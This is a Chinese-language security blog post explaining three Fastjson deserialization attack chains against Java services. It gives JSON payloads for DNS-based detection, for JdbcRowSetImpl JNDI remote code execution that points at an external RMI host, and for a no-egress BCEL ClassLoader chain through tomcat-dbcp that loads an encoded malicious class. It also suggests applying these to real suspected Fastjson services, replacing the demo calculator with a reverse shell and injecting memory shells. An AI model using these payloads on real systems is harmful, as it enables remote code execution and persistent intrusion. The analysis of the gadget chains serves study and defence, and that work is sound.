Java安全(8)Fastjson探测、命令执行、不出网利用(bcel)

利用 dns 解析探测 fastjson,JdbcRowSetImpl 命令执行,bcel Fastjson不出网利用,三个链子的分析

探测fastjson – dns

示例代码1:

演示 InetAddress.getByName 的功能

package org.test;

import java.net.InetAddress;
import java.net.UnknownHostException;

public class URLTest {
    public static void main(String[] args) throws UnknownHostException {
        InetAddress address = InetAddress.getByName("www.baidu.com");
        System.out.println("IP地址为: " + address.getHostAddress());
    }
}

InetAddress 类:处理 ip 地址,url 解析 dns 之类的功能

InetAddress.getByName 参数如果为域名,会尝试 dns 解析为一个地址

如上图,调用 getByName 方法成功解析百度的域名

示例代码2:

当 Fastjson 处理这 InetAddress 类对象的时候,会试图去调用 getByName 方法,将 json 中 val 字段的内容 dns 解析为 ip

package org.test;

import com.alibaba.fastjson.JSON;
import java.net.InetAddress;

public class DNS {
    public static void main(String[] args) {

        String a=
                "{\"@type\":\"java.net.Inet4Address\"" +
                        ",\"val\":\"bbvaczcput.dgrh3.cn\"" +
                        "}";
        Object b= JSON.parseObject(a,Object.class);
        System.out.println(b.getClass());
    }
}

运行如上示例:

产生解析记录,功能验证成功

接下来审计一下过程,对于 InetAddress,是有写好的反序列化器的(见上一小节中 “autotype 的判断” 末尾)

位于 MiscCode.java 47 行,进入寻找,在 299 行找到:

if (clazz == InetAddress.class || clazz == Inet4Address.class || clazz == Inet6Address.class) {
    try {
        return (T) InetAddress.getByName(strVal);
    } catch (UnknownHostException e) {
        throw new JSONException("deserialize inet adress error", e);
    }
}

示例 2 中的 payload 中 val 字段,会被赋给 strVal 参数(示例 1 直接填入函数了),然后就调用了这个方法解析域名

如上,最简单的 dns 探测 fastjson,触发漏洞看到 dns 记录

JdbcRowSetImpl 命令执行

也是一个 Fastjson 的攻击链

JdbcRowSetImpl 是个类(好长一名字),其中的 connect 方法有调用一个 lookup 方法(联想 log4j 的 jndi 注入)

//代码细节可能不太一样,是从 class 反编译出来的,但是功能肯定一样的

try {
    InitialContext var1 = new InitialContext();
    DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
    ...

并且这个方法的 DataSourceName 可控,存在一个 setDataSourceName 方法

public void setDataSourceName(String var1) throws SQLException {
    if (this.getDataSourceName() != null) {
        if (!this.getDataSourceName().equals(var1)) {
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else {
        super.setDataSourceName(var1);
    }

}

想法是好的,可如果是刚刚那种,直接写死去调用 getByName,压根不给你调用别的方法的机会,就不妙了

于是问题就来了:需要找到一个 set/get 开头,满足 Fastjson 调用规则的方法,并且其中调用了 connect ,让我们可以把 rmi 或者 ladp 的地址写进 DataSourceName ,触发 lookup

想啥来啥还真有,在 setAutoCommit 方法中调用了 connnect 方法,并且满足 Fastjson 的规则要求

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

调用了 connect 方法,把 rmi/ladp 的 payload 塞进去一样可以的

正向的流程:Fastjson 反序列化对象 → 找到 setAutoCommit 方法满足条件,调用之 → 调用到 connect 方法 → connect 方法调用到可控传参的 lookup → 调用 lookup 前会先实例化之,如果实例化的是个存在恶意静态方法的 class ,攻击就达成了

虽然不是 log4j ,但产生漏洞风险的方法是一样的

因此在传入 json 的 payload 时,只需要控制两个值:DataSourceName 为提供恶意 class 的 rmi 或者 ladp,同时设置 autocommit 为 true,确保触发 connect 方法

package org.test;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

public class jdbcRCE {
    public static void main(String[] args) {
        String json="{\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"rmi://26.50.144.144:8085/mUfMIAPd\",\n" +
                "        \"autoCommit\":true\n" +
                "    }\n" ;

        Object o = JSON.parseObject(json);
    }
}

复现的准备操作同 log4j 的,用 yakit 就能很快捷的完成:

启动 rmi 反连,反连地址填入上述测试代码之后运行(采用 cc1 执行弹计算器,记得引入 cc1 依赖)

弹出计算器,测试成功

yakit 还是很爽的啊,方便程度和效率都拉满了,不用它的话要自己起服务,虽然也不难但比较麻烦,真心安利

实战操作

其实很简单,面对实际的一个疑似 fastjson 的服务,想用 dns 去探测,就可以通过发 POST 包,根目录下发一个 json 就行,同时记得指定 Content-Type 为 Application/json,然后 json 里面 @type 指定一下类,var 指定一下咱的 dns 反连地址,就可以测试了

另一个命令执行的同理,实战的话可以将弹计算器换成反弹 shell 或者别的,思路完全就是 log4j 的

vulhub复现: 待办

Fastjson 不出网利用

//稍微有点复杂

如果 fastjson 不出网,最直接的两个问题就是:dns 探测会探测不到,lookup 去利用也利用不了,访问不到远程恶意类

对策就是,打内存马,利用 bcel 表达式

IDEA 中可以双击 shift 找到 classloader.java (com.sun.org.apache.bcel.internal.util.ClassLoader 类)

这个类下存在 loadClass 方法:

protected Class loadClass(String class_name, boolean resolve)
  throws ClassNotFoundException
{
  Class cl = null;

  /* First try: lookup hash table.
   */
  if((cl=(Class)classes.get(class_name)) == null) {
    /* Second try: Load system class using system class loader. You better
     * don't mess around with them.
     */
    for(int i=0; i < ignored_packages.length; i++) {
      if(class_name.startsWith(ignored_packages[i])) {
        cl = deferTo.loadClass(class_name);
        break;
      }
    }

    if(cl == null) {
      JavaClass clazz = null;

      /* Third try: Special request?
       */
      if(class_name.indexOf("$$BCEL$$") >= 0)
        clazz = createClass(class_name);
      else { // Fourth try: Load classes via repository
        if ((clazz = repository.loadClass(class_name)) != null) {
          clazz = modifyClass(clazz);
        }
        else
          throw new ClassNotFoundException(class_name);
      }

      if(clazz != null) {
        byte[] bytes  = clazz.getBytes();
        cl = defineClass(class_name, bytes, 0, bytes.length);
      } else // Fourth try: Use default class loader
        cl = Class.forName(class_name);
    }

    if(resolve)
      resolveClass(cl);
  }

  classes.put(class_name, cl);

  return cl;
}

总感觉这个缩进很奇怪(

这个方法传参中的 class_name:

protected Class loadClass(String class_name, boolean resolve)

是可控的,当传入方法,会检查 class_name 有没有 $$BCEL$$ 开头,有的话就会调用 createClass 方法去把类加载进来,但不同于 new 一个类,这里加载进来不会触发静态方法

看一下 createClass 方法:

protected JavaClass createClass(String class_name) {
  int    index     = class_name.indexOf("$$BCEL$$");
  String real_name = class_name.substring(index + 8);

  JavaClass clazz = null;
  try {
    byte[]      bytes  = Utility.decode(real_name, true);
    ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

    clazz = parser.parse();
  } catch(Throwable e) {
    e.printStackTrace();
    return null;
  }

  // Adapt the class name to the passed value
  ConstantPool cp = clazz.getConstantPool();

  ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                   Constants.CONSTANT_Class);
  ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                   Constants.CONSTANT_Utf8);
  name.setBytes(class_name.replace('.', '/'));

  return clazz;
}

会返回一个 JavaClass 对象,那再返回看一下那个 if

if(class_name.indexOf("$$BCEL$$") >= 0)
        clazz = createClass(class_name);

直接把 class_name 传入进去,去加载

那如果我们 $$BCEL$$ 开头后面是我们编码的一大串的一个类,比如一个内存马,编码好了传进去,就可以不必非得利用 lookup 去加载远端的类,直接写进请求包,就可以达成内存马注入,但是也要注意不能光返回 class 对象,不实例化的话是没办法用滴

bcel利用示例

package org.example.demo11;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
import java.io.File;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

@SpringBootTest
class Demo11ApplicationTests {

    @Test
    void contextLoads() {
    }
    @Test
    void test1() throws Exception {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileToBinArray.fileToBinArray(new File("恶意类的路径"));
        String code = Utility.encode(bytes,true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
    }
}

几个关键点:

import com.sun.org.apache.bcel.internal.util.ClassLoader;

注意要引用的是 bcel 的 classloader ,引用别的 classloader 是没有用滴

import com.sun.org.apache.bcel.internal.classfile.Utility;

引用 Utility 类,这个类的 encode 方法就是帮我们把 class 编码成 bcel 的

那么下面的 test1 方法实现的功能也很简单,把恶意类的 class 读取进来,编码成 bcel 表达式,然后添加 $$BCEL$$ 头,然后调用 newInstance 方法实例化,实例化的时候就会触发静态方法,之后控制台就可以看到 bcel 表达式了,很多 $ 符号的就是

说了那么多,费尽心思去利用这个 bcel 的 classloader 就是因为它可以不必访问外部,不用出网,就能把我们的恶意类加载,实例化,直接注入内存马

那么这个东西也得想办法有地方去调用啊,调用到了,读取到了 class_name ,才行,那有吗?

有的兄弟,有的

调用 bcel

tomcat-dbcp 里面有一个 BasicDataSource 类,这个类下面有一个 getConnection 方法

public Connection getConnection() throws SQLException {
    if (Utils.IS_SECURITY_ENABLED) {
        PrivilegedExceptionAction<Connection> action = new PaGetConnection();

        try {
            return (Connection)AccessController.doPrivileged(action);
        } catch (PrivilegedActionException e) {
            Throwable cause = e.getCause();
            if (cause instanceof SQLException) {
                throw (SQLException)cause;
            } else {
                throw new SQLException(e);
            }
        }
    } else {
        return this.createDataSource().getConnection();
    }
}

然后这个方法又调用了 createDataSource 方法:(这个方法太长了不全放出了)

protected DataSource createDataSource() throws SQLException {
    if (this.closed) {
        throw new SQLException("Data source is closed");
    } else if (this.dataSource != null) {
        return this.dataSource;
    } else {
        synchronized(this) {
            if (this.dataSource != null) {
                return this.dataSource;
            } else {
                this.jmxRegister();
                ConnectionFactory driverConnectionFactory = this.createConnectionFactory();

还调用了 createConnectionFactory 方法,这个方法里面有一个 else:

else {
    driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}

这里会把我们要加载实例化的类传进去,并且也可以指定要用的 classloader,真是饿了张嘴就有饭,三步之内必有解药

细说一下 Class.forName,再调用的时候会进行一些初始化,虽然没有直接实例化那么完整,但也有一些操作,最典型的就是会调用静态代码块

不太清楚可以测试一下,测试示例:

class TestClass {
    static {
        System.out.println("静态代码块被调用");
    }

    public TestClass() {
        System.out.println("构造方法被调用");
    }
}
...
@Test
    void test2 () throws Exception {
        Class.forName("org.example.demo11.TestClass");
    }

这里我直接把这个类和方法添加到上一个示例里面了,运行 test2 方法:

可以看到确实是调用了静态代码块,和 loadclass 是不一样的一个会触发一个不会触发

可以跟进一下 forName 瞧一眼:

@CallerSensitive
public static Class<?> forName(String className) throws ClassNotFoundException {
    Class<?> caller = Reflection.getCallerClass();
    return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}

也是返回一个 class 对象,但是跟 loadClass 返回 class 对象不同的是会调用到静态代码块

调用 bcel 的 tomcat-dbcp 的那个方法是什么来着,是 getConnection ,正好也满足 Fastjson 对于 get 方法的要求,这就连起来了

总结

详细捋一遍流程再:

传入 json,@type 中指定 BasicDataSource 类,触发 Fastjson 的机制,去寻找 set 和 get,找到符合要求的 getConnection 方法,随后进入这个方法:

调用 createDataSource 方法,里面有一个 Class.forName,支持自定义类名和 loader ,指定为我们传入的恶意类,和 bcel 的 loader,随后进入 bcel 的 loader:

loadClass 方法会检查有无 $$BCEL$$ 开头,有的话就调用 createClass,把我们的类加载进来,返回一个 class 对象,返回给上层调用,也就是 loadClass,再返回给上层的 Class.forName,触发一定程度的初始化,会触发静态代码块,最终一路返回回去,后面的也就不重要了

重点是加载到了我们传入的恶意类,而不需要任何向外访问的操作,,只需要编码成 bcel 表达式就可以达成不出网利用

因此大致的 payload 格式即为:

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            //这里是tomcat>8的poc,如果小于8的话用到的类是
            //org.apache.tomcat.dbcp.dbcp.BasicDataSource
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$................"
        }
    }: "bbb"
}

复现

内存马生成工具:java-memshell-generator pen4uin 师傅做的工具,太强大了

最麻烦的写内存马都省了,直接塞进 payload 就完事了,不写复现过程了(懒狗一个

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇